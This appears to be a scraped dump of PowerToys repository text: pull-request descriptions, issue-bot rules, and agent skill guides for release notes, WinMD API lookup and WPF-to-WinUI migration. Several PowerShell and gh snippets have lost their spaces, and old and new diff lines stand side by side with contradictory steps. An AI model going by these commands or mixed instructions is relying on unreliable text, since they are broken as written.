wherever possible, but list manual validation steps taken as well -->
## Validation Steps Performed
<!-- Enter a brief description/summary of your PR here. What does it
fix/what does it change/how was it tested (even manually, if necessary)?
-->
## Summary of the Pull Request
As title
<!-- Please review the items on the PR checklist before submitting-->
## PR Checklist
- [ ] Closes: #xxx
<!-- - [ ] Closes: #yyy (add separate lines for additional resolved
issues) -->
- [ ] **Communication:** I've discussed this with core contributors
already. If the work hasn't been agreed, this work might be rejected
- [ ] **Tests:** Added/updated and all pass
- [ ] **Localization:** All end-user-facing strings can be localized
- [ ] **Dev docs:** Added/updated
- [ ] **New binaries:** Added on the required places
- [ ] [JSON for
signing](https://github.com/microsoft/PowerToys/blob/main/.pipelines/ESRPSigning_core.json)
for new binaries
- [ ] [WXS for
installer](https://github.com/microsoft/PowerToys/blob/main/installer/PowerToysSetup/Product.wxs)
for new binaries and localization folder
- [ ] [YML for CI
pipeline](https://github.com/microsoft/PowerToys/blob/main/.pipelines/ci/templates/build-powertoys-steps.yml)
for new test projects
- [ ] [YML for signed
pipeline](https://github.com/microsoft/PowerToys/blob/main/.pipelines/release.yml)
- [ ] **Documentation updated:** If checked, please file a pull request
on [our docs
repo](https://github.com/MicrosoftDocs/windows-uwp/tree/docs/hub/powertoys)
and link it here: #xxx
<!-- Provide a more detailed description of the PR, other things fixed,
or any additional comments/features here -->
## Detailed Description of the Pull Request / Additional comments
<!-- Describe how you validated the behavior. Add automated tests
wherever possible, but list manual validation steps taken as well -->
## Validation Steps Performed
Tests should be picked up and run and pass
<!-- Enter a brief description/summary of your PR here. What does it
fix/what does it change/how was it tested (even manually, if necessary)?
-->
## Summary of the Pull Request
Title
<!-- Please review the items on the PR checklist before submitting-->
## PR Checklist
- [x] Closes: https://github.com/microsoft/PowerToys/issues/45291
<!-- - [ ] Closes: #yyy (add separate lines for additional resolved
issues) -->
- [x] **Communication:** I've discussed this with core contributors
already. If the work hasn't been agreed, this work might be rejected
<!-- Provide a more detailed description of the PR, other things fixed,
or any additional comments/features here -->
## Detailed Description of the Pull Request / Additional comments
Before, there was a function that initialized some variables about the
current system state that were later used to check against if that state
needed to change in a different function. That caused from some issues
because I was reusing the function for a double purpose. Now the
`SyncInitialThemeState()` function in the State Manager will sync those
initial variables and apply the correct theme if needed.
I also removed an unnecessary parameter from `onTick`
<!-- Describe how you validated the behavior. Add automated tests
wherever possible, but list manual validation steps taken as well -->
## Validation Steps Performed
Manual testing
## Summary of the Pull Request
Add comprehensive unit tests for emoji, ZWJ sequences, skin tone
modifiers, and UTF-16 edge cases (unpaired surrogates, combining marks,
random garbage). Update matcher logic to skip normalization of lone
surrogates, preventing errors with malformed Unicode. Expand comparison
test data to cover emoji scenarios. Adds regression guards for diacritic
handling and surrogate processing.
Fixes#45246 introduced in #44809.
<!-- Please review the items on the PR checklist before submitting-->
## PR Checklist
- [x] Closes: #45246
<!-- - [ ] Closes: #yyy (add separate lines for additional resolved
issues) -->
- [ ] **Communication:** I've discussed this with core contributors
already. If the work hasn't been agreed, this work might be rejected
- [ ] **Tests:** Added/updated and all pass
- [ ] **Localization:** All end-user-facing strings can be localized
- [ ] **Dev docs:** Added/updated
- [ ] **New binaries:** Added on the required places
- [ ] [JSON for
signing](https://github.com/microsoft/PowerToys/blob/main/.pipelines/ESRPSigning_core.json)
for new binaries
- [ ] [WXS for
installer](https://github.com/microsoft/PowerToys/blob/main/installer/PowerToysSetup/Product.wxs)
for new binaries and localization folder
- [ ] [YML for CI
pipeline](https://github.com/microsoft/PowerToys/blob/main/.pipelines/ci/templates/build-powertoys-steps.yml)
for new test projects
- [ ] [YML for signed
pipeline](https://github.com/microsoft/PowerToys/blob/main/.pipelines/release.yml)
- [ ] **Documentation updated:** If checked, please file a pull request
on [our docs
repo](https://github.com/MicrosoftDocs/windows-uwp/tree/docs/hub/powertoys)
and link it here: #xxx
<!-- Provide a more detailed description of the PR, other things fixed,
or any additional comments/features here -->
## Detailed Description of the Pull Request / Additional comments
<!-- Describe how you validated the behavior. Add automated tests
wherever possible, but list manual validation steps taken as well -->
## Validation Steps Performed
## Summary of the Pull Request
This PR introduces a rough hotfix for several indexer-related issues.
- Premise: patch what we can in-place and fix the core later (reworking
`SeachEngine` and `SearchQuery` is slightly trickier). This patch also
removes some dead code for future refactor.
- Adds search cancellation to the File Search page and the indexer
fallback.
- Prevents older searches from overwriting newer model state and reduces
wasted work.
- Stops reusing the search engine; creates a new instance per search to
avoid synchronization issues.
- That `SeachEngine` and `SearchQuery` are not multi-threading friendly.
- Removes search priming to simplify the code and improve performance.
- Since `SearchQuery` cancels and re-primes on every search, priming
provides little benefit and can hide extra work (for example,
cancellation triggering re-priming).
- Fixes the indexer fallback subject line not updating when there is
more than one match.
- It previously kept the old value, which was confusing.
- ~Shows the number of matched files in the fallback result.~
- Fetching total number of rows was reverted, performance was not stable
:(
- Optimizes the indexer fallback by reducing the number of items
processed but not used.
- Only fetches the item(s) needed for the fallback itself—no extra work
on the hot path.
- Stops reusing the fallback result when navigating to the File Search
page to show more results. This requires querying again, but it
simplifies the flow and keeps components isolated.
- Fixes the English mnemonic keyword `kind` being hardcoded in the
search page filter. Windows Search uses localized mnemonic keyword
names, so this PR replaces it with canonical keyword `System.Kind` that
is universaly recognized.
- Adds extra diagnostics to `SearchQuery` and makes logging more
precise.
- DataPackage for the IndexerListItem now defers including of storage
items - boost performance and we avoid touching the item until its
needed.
- IndexerPage with a prepopulated query will delay loading until the
items are actually enumerated (to avoid populating from fallback hot
path) and it no longer takes external SearchEngine. It just recreates
everything.
<!-- Please review the items on the PR checklist before submitting-->
## PR Checklist
- [x] Related to: #44728
- [x] Closes: #44731
- [x] Closes: #44732
- [x] Closes: #44743
<!-- - [ ] Closes: #yyy (add separate lines for additional resolved
issues) -->
- [ ] **Communication:** I've discussed this with core contributors
already. If the work hasn't been agreed, this work might be rejected
- [ ] **Tests:** Added/updated and all pass
- [ ] **Localization:** All end-user-facing strings can be localized
- [ ] **Dev docs:** Added/updated
- [ ] **New binaries:** Added on the required places
- [ ] [JSON for
signing](https://github.com/microsoft/PowerToys/blob/main/.pipelines/ESRPSigning_core.json)
for new binaries
- [ ] [WXS for
installer](https://github.com/microsoft/PowerToys/blob/main/installer/PowerToysSetup/Product.wxs)
for new binaries and localization folder
- [ ] [YML for CI
pipeline](https://github.com/microsoft/PowerToys/blob/main/.pipelines/ci/templates/build-powertoys-steps.yml)
for new test projects
- [ ] [YML for signed
pipeline](https://github.com/microsoft/PowerToys/blob/main/.pipelines/release.yml)
- [ ] **Documentation updated:** If checked, please file a pull request
on [our docs
repo](https://github.com/MicrosoftDocs/windows-uwp/tree/docs/hub/powertoys)
and link it here: #xxx
<!-- Provide a more detailed description of the PR, other things fixed,
or any additional comments/features here -->
## Detailed Description of the Pull Request / Additional comments
<!-- Describe how you validated the behavior. Add automated tests
wherever possible, but list manual validation steps taken as well -->
## Validation Steps Performed
## Summary of the Pull Request
This PR implements actual cache in IconCacheService and adds some fixes
on top for free.
The good
- `IconCacheService` now caches decoded icons
- Ensures that UI thread is not starved by loading icons by limiting
number of threads that can load icons at any given time
- `IconCacheService` decodes bitmaps directly to the required size to
reduce memory usage
- `IconBox` now reacts to theme, DPI scale, and size changes immediately
- Introduced `AdaptiveCache` with time-based decay to improve icon reuse
- Updated `IconCacheProvider` and `IconCacheService` to handle multiple
icon sizes and scale-aware caching
- Added priority-based decoding in `IconCacheService` for more
responsive loading
- Extended `IconPathConverter` to support target icon sizes
- Switched hero images in `ShellPage` to use the jumbo icon cache
- Made `MainWindow` title bar logic resilient to a null `XamlRoot`
- Fixed Tag icon positioning
- Removes custom `TypedEventHandlerExtensions` in favor of
`CommunityToolkit.WinUI.Deferred`.
The bad
- Since IconData lacks a unique identity, when it includes a stream, it
relies on simple reference equality, acknowledging that it might not be
stable. We might cache some obsolete garbage because of this, but it is
fast and better than nothing at all. Yet another task for the future me.
<!-- Please review the items on the PR checklist before submitting-->
## PR Checklist
- [ ] Closes:
- [ ] Closes: #38284
- [ ] Related to: #44407
- [ ] Related to: https://github.com/zadjii-msft/PowerToys/issues/333
- [ ] **Communication:** I've discussed this with core contributors
already. If the work hasn't been agreed, this work might be rejected
- [ ] **Tests:** Added/updated and all pass
- [ ] **Localization:** All end-user-facing strings can be localized
- [ ] **Dev docs:** Added/updated
- [ ] **New binaries:** Added on the required places
- [ ] [JSON for
signing](https://github.com/microsoft/PowerToys/blob/main/.pipelines/ESRPSigning_core.json)
for new binaries
- [ ] [WXS for
installer](https://github.com/microsoft/PowerToys/blob/main/installer/PowerToysSetup/Product.wxs)
for new binaries and localization folder
- [ ] [YML for CI
pipeline](https://github.com/microsoft/PowerToys/blob/main/.pipelines/ci/templates/build-powertoys-steps.yml)
for new test projects
- [ ] [YML for signed
pipeline](https://github.com/microsoft/PowerToys/blob/main/.pipelines/release.yml)
- [ ] **Documentation updated:** If checked, please file a pull request
on [our docs
repo](https://github.com/MicrosoftDocs/windows-uwp/tree/docs/hub/powertoys)
and link it here: #xxx
<!-- Provide a more detailed description of the PR, other things fixed,
or any additional comments/features here -->
## Detailed Description of the Pull Request / Additional comments
<!-- Describe how you validated the behavior. Add automated tests
wherever possible, but list manual validation steps taken as well -->
## Validation Steps Performed
<!-- Enter a brief description/summary of your PR here. What does it
fix/what does it change/how was it tested (even manually, if necessary)?
-->
## Summary of the Pull Request
Ensures the OutDir path in Microsoft.Terminal.UI.vcxproj ends with a
backslash, making it explicit as a directory, and fixes warning MSB8004.
<!-- Please review the items on the PR checklist before submitting-->
## PR Checklist
- [ ] Closes: #xxx
<!-- - [ ] Closes: #yyy (add separate lines for additional resolved
issues) -->
- [ ] **Communication:** I've discussed this with core contributors
already. If the work hasn't been agreed, this work might be rejected
- [ ] **Tests:** Added/updated and all pass
- [ ] **Localization:** All end-user-facing strings can be localized
- [ ] **Dev docs:** Added/updated
- [ ] **New binaries:** Added on the required places
- [ ] [JSON for
signing](https://github.com/microsoft/PowerToys/blob/main/.pipelines/ESRPSigning_core.json)
for new binaries
- [ ] [WXS for
installer](https://github.com/microsoft/PowerToys/blob/main/installer/PowerToysSetup/Product.wxs)
for new binaries and localization folder
- [ ] [YML for CI
pipeline](https://github.com/microsoft/PowerToys/blob/main/.pipelines/ci/templates/build-powertoys-steps.yml)
for new test projects
- [ ] [YML for signed
pipeline](https://github.com/microsoft/PowerToys/blob/main/.pipelines/release.yml)
- [ ] **Documentation updated:** If checked, please file a pull request
on [our docs
repo](https://github.com/MicrosoftDocs/windows-uwp/tree/docs/hub/powertoys)
and link it here: #xxx
<!-- Provide a more detailed description of the PR, other things fixed,
or any additional comments/features here -->
## Detailed Description of the Pull Request / Additional comments
<!-- Describe how you validated the behavior. Add automated tests
wherever possible, but list manual validation steps taken as well -->
## Validation Steps Performed
<!-- Enter a brief description/summary of your PR here. What does it
fix/what does it change/how was it tested (even manually, if necessary)?
-->
## Summary of the Pull Request
This PR introduces new logic that dictates the max and min value for the
`Offset` field that the user can change when using Sunrise to Sunset
mode.
<!-- Please review the items on the PR checklist before submitting-->
## PR Checklist
- [x] Closes: #44959
<!-- - [ ] Closes: #yyy (add separate lines for additional resolved
issues) -->
- [x] **Communication:** I've discussed this with core contributors
already. If the work hasn't been agreed, this work might be rejected
<!-- Provide a more detailed description of the PR, other things fixed,
or any additional comments/features here -->
## Detailed Description of the Pull Request / Additional comments
The new logic is as follows:
- The sunrise offset cannot go into the previous day and cannot overlap
the current sunset transition time
- The sunset offset cannot overlap the last sunrise time and cannot
overlap into the next day.
These values are dynamic and update when the VM updates with new times.
<!-- Describe how you validated the behavior. Add automated tests
wherever possible, but list manual validation steps taken as well -->
## Validation Steps Performed
- Manual testing
description:Right-clicking the PowerToys tray icon in the taskbar and selecting “Report bug” generates a ZIP file containing diagnostic information about your setup and PowerToys logs, helping us better understand and troubleshoot the issue.
@@ -679,9 +703,9 @@ systemd.*?running in system mode \([-+].*\)$
# Non-English
# Even repositories expecting pure English content can unintentionally have Non-English content... People will occasionally mistakenly enter [homoglyphs](https://en.wikipedia.org/wiki/Homoglyph) which are essentially typos, and using this pattern will mean check-spelling will not complain about them.
#
# .
# If the content to be checked should be written in English and the only Non-English items will be people's names, then you can consider adding this.
#
# .
# Alternatively, if you're using check-spelling v0.0.25+, and you would like to _check_ the Non-English content for spelling errors, you can. For information on how to do so, see:
reply:Hi! We've identified this issue as a duplicate of another one that already exists on this Issue Tracker. This specific instance is being closed in favor of tracking the concern over on the referenced thread. Thanks for your report!
reply:We've identified this issue as a duplicate of an existing one and are closing this thread so discussion stays in one place.<br/><br/>Please see the comment above for the link to the original tracking issue, and feel free to subscribe there for updates.
- closeIssue
- removeLabel:
label:Needs-Triage
@@ -233,6 +233,30 @@ configuration:
- addReply:
reply:Hi! Thanks for making us aware of the problem. We raised the issue with our internal localization team. This issue should be fixed hopefully in the next version of PowerToys.
description:
- if:
- payloadType:Issue_Comment
- commentContains:
pattern:'\/need-monitor-info'
isRegex:True
- hasLabel:
label:Product-Cursor Wrap
- or:
- activitySenderHasAssociation:
association:Owner
- activitySenderHasAssociation:
association:Member
- activitySenderHasAssociation:
association:Collaborator
then:
- removeLabel:
label:Needs-Triage
- removeLabel:
label:Needs-Team-Response
- addLabel:
label:Needs-Author-Feedback
- addReply:
reply:"To help debug your layout, please run [this script](https://github.com/microsoft/PowerToys/blob/main/src/modules/MouseUtils/CursorWrap/CursorWrapTests/Capture-MonitorLayout.ps1) and attach the generated JSON output to this thread.\n\nThis allows us to better understand the issue and investigate potential fixes."
description:
- if:
- payloadType:Issue_Comment
- commentContains:
@@ -242,16 +266,5 @@ configuration:
- addReply:
reply:Hi! Your last comment indicates to our system, that you might want to contribute to this feature/fix this bug. Thank you! Please make us aware on our ["Would you like to contribute to PowerToys?" thread](https://github.com/microsoft/PowerToys/issues/28769), as we don't see all the comments. <br /><br />_I'm a bot (beep!) so please excuse any mistakes I may make_
Thank you for contributing to PowerToys. We've detected that this PR might include a new or modified telemetry event. After this PR is merged, please follow these next steps:
- [ ] Reach out to Jessica (${REVIEWER_MENTION}) to follow up on the next steps: https://aka.ms/pt-telemetry-process
Thank you for contributing to PowerToys. We've detected that this PR might include a new or modified telemetry event. Please ensure the following before merging:
- [ ] Add your telemetry events to [DATA_AND_PRIVACY](https://github.com/microsoft/PowerToys/blob/main/DATA_AND_PRIVACY.md).md within this PR.
- [ ] Reach out to Jessica (${REVIEWER_MENTION}) to follow up on the next steps: https://aka.ms/pt-telemetry-process`;
description: Toolkit for generating PowerToys release notes from GitHub milestone PRs or commit ranges. Use when asked to create release notes, summarize milestone PRs, generate changelog, prepare release documentation, request Copilot reviews for PRs, update README for a new release, manage PR milestones, or collect PRs between commits/tags. Supports PR collection by milestone or commit range, milestone assignment, grouping by label, summarization with external contributor attribution, and README version bumping.
description: Toolkit for generating PowerToys release notes from GitHub milestone PRs or commit ranges. Use when asked to create release notes, summarize milestone PRs, generate changelog, prepare release documentation, generate PR review summaries locally for release notes, update README for a new release, manage PR milestones, collect PRs between commits/tags, or prepare release assets (download installers and compute installer hashes).
license: Complete terms in LICENSE.txt
---
# Release Note Generation Skill
Generate professional release notes for PowerToys milestones by collecting merged PRs, requesting Copilot code reviews, grouping by label, and producing user-facing summaries.
Generate professional release notes for PowerToys milestones by collecting merged PRs, summarizing each PR with the local CLI agent, grouping by label, and producing user-facing summaries.
## Output Directory
@@ -26,16 +26,17 @@ Generated Files/ReleaseNotes/
- Generate release notes for a milestone
- Summarize PRs merged in a release
-Request Copilot reviews for milestone PRs
-Generate per-PR review summaries locally for release-notes copy
-GitHub Copilot code review enabled for the org/repo
-**GitHub CLI (`gh`) installed and authenticated** — The collection script uses `gh pr view` and `gh api graphql` to fetch PR metadata and co-author information. Run `gh auth status` to verify; if not logged in, run `gh auth login` first. See [Step 1.0.0](./references/step1-collection.md) for details.
- MCP Server: github-mcp-server installed (used to fetch PR diffs/files for the local-agent review step)
-For [prepare-release-assets.ps1](./scripts/prepare-release-assets.ps1) only: **Azure CLI** authenticated against the Microsoft tenant (`az login`) with the `azure-devops` extension; access to the `microsoft/Dart` ADO project
| [prepare-release-assets.ps1](./scripts/prepare-release-assets.ps1) | Download installers + symbols from an ADO build, compute SHA256, emit the "Installer Hashes" markdown table for the GitHub release page |
## References
@@ -128,5 +135,6 @@ Do not read all steps at once—only read the step you are executing.
|-------|----------|
| `gh` command not found | Install GitHub CLI and add to PATH |
| No PRs returned | Verify milestone title matches exactly |
| Empty `CopilotSummary` for many PRs | Run Step 3.1 (local-agent summaries). Do **not** use `mcp_github_request_copilot_review` from a CLI/coding agent — the GitHub API rejects bot-initiated review requests, so the column will stay empty. |
| Many unlabeled PRs | Return to labeling step before grouping |
| `prepare-release-assets.ps1` fails with "Failed to acquire ADO access token" | Run `az login` and ensure you have access to the `microsoft/Dart` ADO project |
- Added mouse button actions so you can choose what left, right, or middle click does. Thanks [@PesBandi](https://github.com/PesBandi)!
- Added mouse button actions so you can choose what left, right, or middle click does in [#1234](https://github.com/microsoft/PowerToys/pull/1234) by [@PesBandi](https://github.com/PesBandi)
- Aligned window styling with current Windows theme for a cleaner look. Thanks [@sadirano](https://github.com/sadirano)!
- Aligned window styling with current Windows theme for a cleaner look in [#1235](https://github.com/microsoft/PowerToys/pull/1235) by [@sadirano](https://github.com/sadirano)
- Ensured screen readers are notified when the selected item in the list changes for better accessibility.
- Ensured screen readers are notified when the selected item in the list changes for better accessibility in [#1236](https://github.com/microsoft/PowerToys/pull/1236)
- Implemented configurable UI test pipeline that can use pre-built official releases instead of building everything from scratch, reducing test execution time from 2+ hours.
- Implemented configurable UI test pipeline that can use pre-built official releases instead of building everything from scratch, reducing test execution time from 2+ hours in [#1237](https://github.com/microsoft/PowerToys/pull/1237)
- Fixed Alt+Left Arrow navigation not working when search box contains text. Thanks [@jiripolasek](https://github.com/jiripolasek)!
- Fixed Alt+Left Arrow navigation not working when search box contains text in [#1238](https://github.com/microsoft/PowerToys/pull/1238) by [@jiripolasek](https://github.com/jiripolasek)
⚠️ **BLOCKING:** The collection script requires an authenticated `gh` CLI to fetch PR metadata and co-author information via GitHub's GraphQL API. Without authentication, PR data and `NeedThanks` attribution will be incomplete.
### Check authentication status
```powershell
ghauthstatus
```
**If authenticated:** You'll see `Logged in to github.com account <username>`. Proceed to 1.0.1.
**If NOT authenticated:** Run the login flow before continuing:
```powershell
# Interactive login (opens browser for OAuth)
ghauthlogin--hostnamegithub.com--web
# Or use a personal access token
ghauthlogin--with-token<<<"YOUR_GITHUB_TOKEN"
```
**Required scopes:**`repo` (for reading PR data and assigning milestones)
After login, verify again with `gh auth status` and confirm exit code 0.
---
## 1.0.1 Generate MemberList.md (REQUIRED)
Create `Generated Files/ReleaseNotes/MemberList.md` from the **PowerToys core team** section in [COMMUNITY.md](../../../COMMUNITY.md).
@@ -80,6 +109,8 @@ The script detects both merge commits (`Merge pull request #12345`) and squash c
**Output** (in `Generated Files/ReleaseNotes/`):
-`milestone_prs.json` - raw PR data
-`sorted_prs.csv` - sorted PR list with columns: Id, Title, Labels, Author, Url, Body, CopilotSummary, NeedThanks
-`Author`: Comma-separated list of all contributors (PR opener + co-authors from commit trailers)
-`NeedThanks`: Comma-separated list of external contributors to thank (excludes core team members from MemberList.md). Empty string means no thanks needed.
Use MCP tools to request Copilotreviews for all PRs in `Generated Files/ReleaseNotes/sorted_prs.csv`:
> ⚠️ **Do not use `mcp_github_request_copilot_review` (or any "request Copilot review" tool that calls the GitHub API).**
> When this skill is driven from a CLI / coding agent, the request is made from a bot identity and the GitHub API rejects it ("Bot reviewers cannot be requested"). The PR ends up with no Copilot review and `CopilotSummary` stays empty.
>
> Instead, **the local agent that is running this skill performs the review itself** and writes the summary directly into `sorted_prs.csv`.
- Use `mcp_github_request_copilot_review` for each PR ID
- Do NOT generate or run scripts for this step
For every PR listed in `Generated Files/ReleaseNotes/sorted_prs.csv` whose `CopilotSummary` is empty:
1. Fetch the PR diff using a tool that does **not** post anything back to GitHub. Any of these works:
-`mcp_github_pull_request_read` with `method: get_diff`
-`mcp_github_pull_request_read` with `method: get_files` (when the diff is large)
2. Read the PR title, body, and diff. Produce a 1–3 sentence, user-facing summary in the same style as a Copilot PR review (focus on observable behavior change, not implementation details).
3. Write the summary into the `CopilotSummary` column for that PR row in `Generated Files/ReleaseNotes/sorted_prs.csv`. Preserve all other columns and the existing row order.
**Batching guidance**
- Process PRs in the order they appear in `sorted_prs.csv`.
- Generate summaries for **all** PRs in one pass before continuing to Step 3.3, so the human reviewer can validate them together.
- For very large diffs, summarize from `get_files` (filenames + per-file patches) rather than the full diff.
- Skip PRs that already have a non-empty `CopilotSummary` (e.g. PRs where a human reviewer already pasted one). Do not overwrite existing summaries.
**Why not post the summary back to the PR?** Posting a comment from the agent's identity would not be picked up by `dump-prs-since-commit.ps1` (which only matches Copilot bot authors), and it adds noise to the PR. Writing straight into the CSV keeps the artifact self-contained.
---
## 3.2 Refresh PR Data
## 3.2 (Optional) Refresh PR Data
Re-run the collection script to capture Copilot review summaries into the `CopilotSummary` column:
Only re-run the collection script if PR metadata on GitHub has changed (new labels, retitled PRs, etc.) since Step 1.1. **Skip this step if you only want to preserve the locally generated `CopilotSummary` values from Step 3.1**, because re-running the dump will overwrite the CSV.
Creates `Generated Files/ReleaseNotes/grouped_csv/` with one CSV per label combination.
**Validation:** The `Unlabeled.csv` file should be minimal (ideally empty). If many PRs remain unlabeled, return to Step 2 (see [step2-labeling.md](./step2-labeling.md)).
@@ -16,7 +16,7 @@ For each CSV in `Generated Files/ReleaseNotes/grouped_csv/`, create a markdown f
- Use the “Verb-ed + Scenario + Impact” sentence structure—make readers think, “That’s exactly what I need” or “Yes, that’s an awesome fix.”; The "impact" can be end-user focused (written to convey user excitement) or technical (performance/stability) when user-facing impact is minimal.
- If nothing special on impact or unclear impact, mark as needing human summary
- Source from Title, Body, and CopilotSummary (prefer CopilotSummary when available)
-If the column `NeedThanks` in CSV is `True`, append: `Thanks [@Author](https://github.com/Author)!`
-The `NeedThanks` column contains a comma-separated list of external contributor usernames who should be credited (empty = no attribution needed, all authors are core team). For each non-empty `NeedThanks` value, append a `by` attribution that lists **every** contributor, matching GitHub's standard contributor-attribution style: `by [@user1](https://github.com/user1)` for a single contributor, `by [@user1](https://github.com/user1) and [@user2](https://github.com/user2)` for two, or `by [@user1](https://github.com/user1), [@user2](https://github.com/user2), and [@user3](https://github.com/user3)` for three or more. In the final consolidated release notes (Step 4.2), the attribution follows the PR link, e.g. `…in [#1234](url) by [@user](url)`. Do not use "Thanks @user!" phrasing.
- Do NOT include PR numbers in bullet lines
- Do NOT mention “security” or “privacy” issues, since these are not known and could be leveraged by attackers in earlier versions. Instead, describe the user-facing scenario, usage, or impact.
- If confidence < 70%, write: `Human Summary Needed: <PR full link>`
@@ -72,13 +72,13 @@ Some items in the Development section may overlap and should be moved to the Mod
## Advanced Paste
- Wrapped paste option lists in a single ScrollViewer
- Added image input handling for AI-powered transformations
- Wrapped paste option lists in a single ScrollViewer in [#5678](https://github.com/microsoft/PowerToys/pull/5678)
- Added image input handling for AI-powered transformations in [#5679](https://github.com/microsoft/PowerToys/pull/5679)
Write-Error"Failed to acquire ADO access token. Run 'az login' first. (az: $script:LastAzError)"
exit1
}
# --- Step 5: Define the four installers to download ---
$targets=@(
[pscustomobject]@{Description="Per user - x64";Scope="perUser";Arch="x64";Artifact="build-x64-Release";FileName="PowerToysUserSetup-$versionParam-x64.exe"}
[pscustomobject]@{Description="Per user - ARM64";Scope="perUser";Arch="arm64";Artifact="build-arm64-Release";FileName="PowerToysUserSetup-$versionParam-arm64.exe"}
description: 'Find and explore Windows desktop APIs. Use when building features that need platform capabilities — camera, file access, notifications, UI controls, AI/ML, sensors, networking, etc. Discovers the right API for a task and retrieves full type details (methods, properties, events, enumeration values).'
license: Complete terms in LICENSE.txt
---
# WinMD API Search
This skill helps you find the right Windows API for any capability and get its full details. It searches a local cache of all WinMD metadata from:
- **Windows Platform SDK** — all `Windows.*` WinRT APIs (always available, no restore needed)
- **WinAppSDK / WinUI** — bundled as a baseline in the cache generator (always available, no restore needed)
- **NuGet packages** — any additional packages in restored projects that contain `.winmd` files
- **Project-output WinMD** — class libraries (C++/WinRT, C#) that produce `.winmd` as build output
Even on a fresh clone with no restore or build, you still get full Platform SDK + WinAppSDK coverage.
## When to Use This Skill
- User wants to build a feature and you need to find which API provides that capability
- User asks "how do I do X?" where X involves a platform feature (camera, files, notifications, sensors, AI, etc.)
- You need the exact methods, properties, events, or enumeration values of a type before writing code
- You're unsure which control, class, or interface to use for a UI or system task
## Prerequisites
- **.NET SDK 8.0 or later** — required to build the cache generator. Install from [dotnet.microsoft.com](https://dotnet.microsoft.com/download) if not available.
## Cache Setup (Required Before First Use)
All query and search commands read from a local JSON cache. **You must generate the cache before running any queries.**
```powershell
# All projects in the repo (recommended for first run)
No project restore or build is needed for baseline coverage (Platform SDK + WinAppSDK). For additional NuGet packages, the project needs `dotnet restore` (which generates `project.assets.json`) or a `packages.config` file.
Cache is stored at `Generated Files\winmd-cache\`, deduplicated per-package+version.
### What gets indexed
| Source | When available |
|--------|----------------|
| Windows Platform SDK | Always (reads from local SDK install) |
| WinAppSDK (latest) | Always (bundled as baseline in cache generator) |
| WinAppSDK Runtime | When installed on the system (detected via `Get-AppxPackage`) |
| Project NuGet packages | After `dotnet restore` or with `packages.config` |
| Project-output `.winmd` | After project build (class libraries that produce WinMD) |
> **Note:** This cache directory should be in `.gitignore` — it's generated, not source.
## How to Use
Pick the path that matches the situation:
---
### Discover — "I don't know which API to use"
The user describes a capability in their own words. You need to find the right API.
**0. Ensure the cache exists**
If the cache hasn't been generated yet, run `Update-WinMdCache.ps1` first — see [Cache Setup](#cache-setup-required-before-first-use) above.
**1. Translate user language → search keywords**
Map the user's daily language to programming terms. Try multiple variations:
| User says | Search keywords to try (in order) |
|-----------|-----------------------------------|
| "take a picture" | `camera`, `capture`, `photo`, `MediaCapture` |
This returns ranked namespaces with top matching types and the **JSON file path**.
If results have **low scores (below 60) or are irrelevant**, fall back to searching online documentation:
1. Use web search to find the right API on Microsoft Learn, for example:
-`site:learn.microsoft.com/uwp/api <capability keywords>` for `Windows.*` APIs
-`site:learn.microsoft.com/windows/windows-app-sdk/api/winrt <capability keywords>` for `Microsoft.*` WinAppSDK APIs
2. Read the documentation pages to identify which type matches the user's requirement.
3. Once you know the type name, come back and use `-Action members` or `-Action enums` to get the exact local signatures.
**3. Read the JSON to choose the right API**
Read the file at the path(s) from the top results. The JSON has all types in that namespace — full members, signatures, parameters, return types, enumeration values.
Read and decide which types and members fit the user's requirement.
**4. Look up official documentation for context**
The cache contains only signatures — no descriptions or usage guidance. For explanations, examples, and remarks, look up the type on Microsoft Learn:
> If only one project is cached, `-Project` is auto-selected.
> If multiple projects exist, add `-Project <name>` (use `-Action projects` to see available names).
> In scan mode, manifest names include a short hash suffix to avoid collisions; you can pass the base project name without the suffix if it's unambiguous.
## Search Scoring
The search ranks type names and member names against your query:
| Score | Match type | Example |
|-------|-----------|---------|
| 100 | Exact name | `Button` → `Button` |
| 80 | Starts with | `Navigation` → `NavigationView` |
description: Guide for migrating PowerToys modules from WPF to WinUI 3 (Windows App SDK). Use when asked to migrate WPF code, convert WPF XAML to WinUI, replace System.Windows namespaces with Microsoft.UI.Xaml, update Dispatcher to DispatcherQueue, replace DynamicResource with ThemeResource, migrate imaging APIs from System.Windows.Media.Imaging to Windows.Graphics.Imaging, convert WPF Window to WinUI Window, migrate .resx to .resw resources, migrate custom Observable/RelayCommand to CommunityToolkit.Mvvm source generators, handle WPF-UI (Lepo) to WinUI native control migration, or fix installer/build pipeline issues after migration. Keywords: WPF, WinUI, WinUI3, migration, porting, convert, namespace, XAML, Dispatcher, DispatcherQueue, imaging, BitmapImage, Window, ContentDialog, ThemeResource, DynamicResource, ResourceLoader, resw, resx, CommunityToolkit, ObservableProperty, WPF-UI, SizeToContent, AppWindow, SoftwareBitmap.
license: Complete terms in LICENSE.txt
---
# WPF to WinUI 3 Migration Skill
Migrate PowerToys modules from WPF (`System.Windows.*`) to WinUI 3 (`Microsoft.UI.Xaml.*` / Windows App SDK). Based on patterns validated in the ImageResizer module migration.
## When to Use This Skill
- Migrate a PowerToys module from WPF to WinUI 3
- Convert WPF XAML files to WinUI 3 XAML
- Replace `System.Windows` namespaces with `Microsoft.UI.Xaml`
- Migrate `Dispatcher` usage to `DispatcherQueue`
- Migrate custom `Observable`/`RelayCommand` to CommunityToolkit.Mvvm source generators
- Replace WPF-UI (Lepo) controls with native WinUI 3 controls
- Convert imaging code from `System.Windows.Media.Imaging` to `Windows.Graphics.Imaging`
11.**Tests** — Adapt for WinUI 3 runtime, async patterns
### Key Principles
- **Do NOT overwrite `App.xaml` / `App.xaml.cs`** — WinUI 3 has different application lifecycle boilerplate. Merge your resources and initialization code into the generated WinUI 3 App class.
- **Do NOT create Exe→WinExe `ProjectReference`** — Extract shared code to a Library project. This causes phantom build artifacts.
- **Use `Lazy<T>` for resource-dependent statics** — `ResourceLoader` is not available at class-load time in all contexts.
| Phantom `.exe`/`.deps.json` in root output dir | Avoid Exe→WinExe `ProjectReference`; use Library project |
| `ResourceLoader` crash at static init | Wrap in `Lazy<T>` or null-coalescing property — see [Lazy Init](./references/powertoys-patterns.md#lazy-initialization-for-resource-dependent-statics) |
| `SizeToContent` not available | Implement manual content measurement + `AppWindow.Resize()` with DPI scaling |
| `x:Bind` default mode is `OneTime` | Explicitly set `Mode=OneWay` or `Mode=TwoWay` |
| `DynamicResource` / `x:Static` not compiling | Replace with `ThemeResource` / `ResourceLoader` or `x:Uid` |
